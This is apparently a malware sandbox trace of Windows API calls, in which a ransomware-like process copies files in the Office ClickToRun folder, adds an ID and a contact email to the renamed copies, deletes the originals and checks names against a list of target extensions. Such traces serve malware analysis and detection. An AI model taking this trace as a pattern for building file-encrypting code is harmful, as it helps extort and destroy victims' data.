	[0078.214] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.214] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.215] GetLastError () returned 0x0
	[0078.215] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x4ac0, lpOverlapped=0x0) returned 1
	[0078.217] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x4ad0, lpOverlapped=0x0) returned 1
	[0078.218] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.218] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0078.218] SetEndOfFile (hFile=0x388) returned 1
	[0078.218] CloseHandle (hObject=0x388) returned 1
	[0078.219] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.219] SetEndOfFile (hFile=0x390) returned 1
	[0078.220] CloseHandle (hObject=0x390) returned 1
	[0078.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.221] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 1
	[0078.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0078.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0078.221] lstrlenW (lpString=".doc") returned 4
	[0078.221] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.221] lstrlenW (lpString=".docx") returned 5
	[0078.221] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.221] lstrlenW (lpString=".pdf") returned 4
	[0078.221] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.221] lstrlenW (lpString=".xls") returned 4
	[0078.221] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.221] lstrlenW (lpString=".xlsx") returned 5
	[0078.221] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.221] lstrlenW (lpString=".ppt") returned 4
	[0078.221] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0078.221] lstrlenW (lpString=".zip") returned 4
	[0078.222] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.222] lstrlenW (lpString=".rar") returned 4
	[0078.222] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.222] lstrlenW (lpString=".bz2") returned 4
	[0078.222] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.222] lstrlenW (lpString=".7z") returned 3
	[0078.222] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0078.222] lstrlenW (lpString=".dbf") returned 4
	[0078.222] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0078.222] lstrlenW (lpString=".1cd") returned 4
	[0078.222] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0078.222] lstrlenW (lpString=".jpg") returned 4
	[0078.222] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0078.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0078.222] lstrlenW (lpString=".doc") returned 4
	[0078.222] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.222] lstrlenW (lpString=".docx") returned 5
	[0078.222] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.222] lstrlenW (lpString=".pdf") returned 4
	[0078.222] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.222] lstrlenW (lpString=".xls") returned 4
	[0078.222] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.222] lstrlenW (lpString=".xlsx") returned 5
	[0078.223] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.223] lstrlenW (lpString=".ppt") returned 4
	[0078.223] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0078.223] lstrlenW (lpString=".zip") returned 4
	[0078.223] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.223] lstrlenW (lpString=".rar") returned 4
	[0078.223] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.223] lstrlenW (lpString=".bz2") returned 4
	[0078.223] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.223] lstrlenW (lpString=".7z") returned 3
	[0078.223] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0078.223] lstrlenW (lpString=".dbf") returned 4
	[0078.223] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0078.223] lstrlenW (lpString=".1cd") returned 4
	[0078.223] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0078.223] lstrlenW (lpString=".jpg") returned 4
	[0078.223] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.223] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.223] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36
	[0078.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0078.224] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=20672) returned 1
	[0078.224] CloseHandle (hObject=0x390) returned 1
	[0078.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x20
	[0078.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0078.224] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.224] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.225] GetLastError () returned 0x0
	[0078.225] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x50c0, lpOverlapped=0x0) returned 1
	[0078.227] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x50d0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x50d0, lpOverlapped=0x0) returned 1
	[0078.228] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.229] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0078.229] SetEndOfFile (hFile=0x388) returned 1
	[0078.229] CloseHandle (hObject=0x388) returned 1
	[0078.230] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.230] SetEndOfFile (hFile=0x390) returned 1
	[0078.231] CloseHandle (hObject=0x390) returned 1
	[0078.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.232] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 1
	[0078.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0078.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0078.232] lstrlenW (lpString=".doc") returned 4
	[0078.232] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.232] lstrlenW (lpString=".docx") returned 5
	[0078.232] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.232] lstrlenW (lpString=".pdf") returned 4
	[0078.232] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.232] lstrlenW (lpString=".xls") returned 4
	[0078.232] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.232] lstrlenW (lpString=".xlsx") returned 5
	[0078.232] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.232] lstrlenW (lpString=".ppt") returned 4
	[0078.232] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0078.233] lstrlenW (lpString=".zip") returned 4
	[0078.233] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.233] lstrlenW (lpString=".rar") returned 4
	[0078.233] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.233] lstrlenW (lpString=".bz2") returned 4
	[0078.233] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.233] lstrlenW (lpString=".7z") returned 3
	[0078.233] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0078.233] lstrlenW (lpString=".dbf") returned 4
	[0078.233] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0078.233] lstrlenW (lpString=".1cd") returned 4
	[0078.233] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0078.233] lstrlenW (lpString=".jpg") returned 4
	[0078.233] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0078.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0078.233] lstrlenW (lpString=".doc") returned 4
	[0078.233] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.233] lstrlenW (lpString=".docx") returned 5
	[0078.233] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.233] lstrlenW (lpString=".pdf") returned 4
	[0078.233] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.233] lstrlenW (lpString=".xls") returned 4
	[0078.233] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.234] lstrlenW (lpString=".xlsx") returned 5
	[0078.234] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.234] lstrlenW (lpString=".ppt") returned 4
	[0078.234] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0078.234] lstrlenW (lpString=".zip") returned 4
	[0078.234] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.234] lstrlenW (lpString=".rar") returned 4
	[0078.234] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.234] lstrlenW (lpString=".bz2") returned 4
	[0078.234] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.234] lstrlenW (lpString=".7z") returned 3
	[0078.234] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0078.234] lstrlenW (lpString=".dbf") returned 4
	[0078.234] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0078.234] lstrlenW (lpString=".1cd") returned 4
	[0078.234] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0078.234] lstrlenW (lpString=".jpg") returned 4
	[0078.234] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.234] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.235] lstrlenW (lpString="api-ms-win-crt-heap-l1-1-0.dll") returned 30
	[0078.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0078.235] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=19648) returned 1
	[0078.235] CloseHandle (hObject=0x390) returned 1
	[0078.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x20
	[0078.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0078.235] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.235] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.236] GetLastError () returned 0x0
	[0078.236] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x4cc0, lpOverlapped=0x0) returned 1
	[0078.353] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x4cd0, lpOverlapped=0x0) returned 1
	[0078.354] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.354] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x110, lpOverlapped=0x0) returned 1
	[0078.354] SetEndOfFile (hFile=0x388) returned 1
	[0078.648] CloseHandle (hObject=0x388) returned 1
	[0078.650] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.650] SetEndOfFile (hFile=0x390) returned 1
	[0078.651] CloseHandle (hObject=0x390) returned 1
	[0078.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.651] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 1
	[0078.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0078.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0078.651] lstrlenW (lpString=".doc") returned 4
	[0078.651] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.652] lstrlenW (lpString=".docx") returned 5
	[0078.652] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.652] lstrlenW (lpString=".pdf") returned 4
	[0078.652] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.652] lstrlenW (lpString=".xls") returned 4
	[0078.652] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.652] lstrlenW (lpString=".xlsx") returned 5
	[0078.652] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.652] lstrlenW (lpString=".ppt") returned 4
	[0078.652] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0078.652] lstrlenW (lpString=".zip") returned 4
	[0078.652] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.652] lstrlenW (lpString=".rar") returned 4
	[0078.652] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.652] lstrlenW (lpString=".bz2") returned 4
	[0078.652] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.652] lstrlenW (lpString=".7z") returned 3
	[0078.652] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0078.652] lstrlenW (lpString=".dbf") returned 4
	[0078.652] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0078.652] lstrlenW (lpString=".1cd") returned 4
	[0078.652] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0078.652] lstrlenW (lpString=".jpg") returned 4
	[0078.652] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0078.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0078.653] lstrlenW (lpString=".doc") returned 4
	[0078.653] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.653] lstrlenW (lpString=".docx") returned 5
	[0078.653] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.653] lstrlenW (lpString=".pdf") returned 4
	[0078.653] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.653] lstrlenW (lpString=".xls") returned 4
	[0078.653] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.653] lstrlenW (lpString=".xlsx") returned 5
	[0078.653] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.653] lstrlenW (lpString=".ppt") returned 4
	[0078.653] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0078.653] lstrlenW (lpString=".zip") returned 4
	[0078.653] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.653] lstrlenW (lpString=".rar") returned 4
	[0078.653] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.653] lstrlenW (lpString=".bz2") returned 4
	[0078.653] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.653] lstrlenW (lpString=".7z") returned 3
	[0078.653] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0078.653] lstrlenW (lpString=".dbf") returned 4
	[0078.653] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0078.653] lstrlenW (lpString=".1cd") returned 4
	[0078.653] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0078.653] lstrlenW (lpString=".jpg") returned 4
	[0078.653] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.654] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.654] lstrlenW (lpString="ApiClient.dll") returned 13
	[0078.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0078.654] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=162880) returned 1
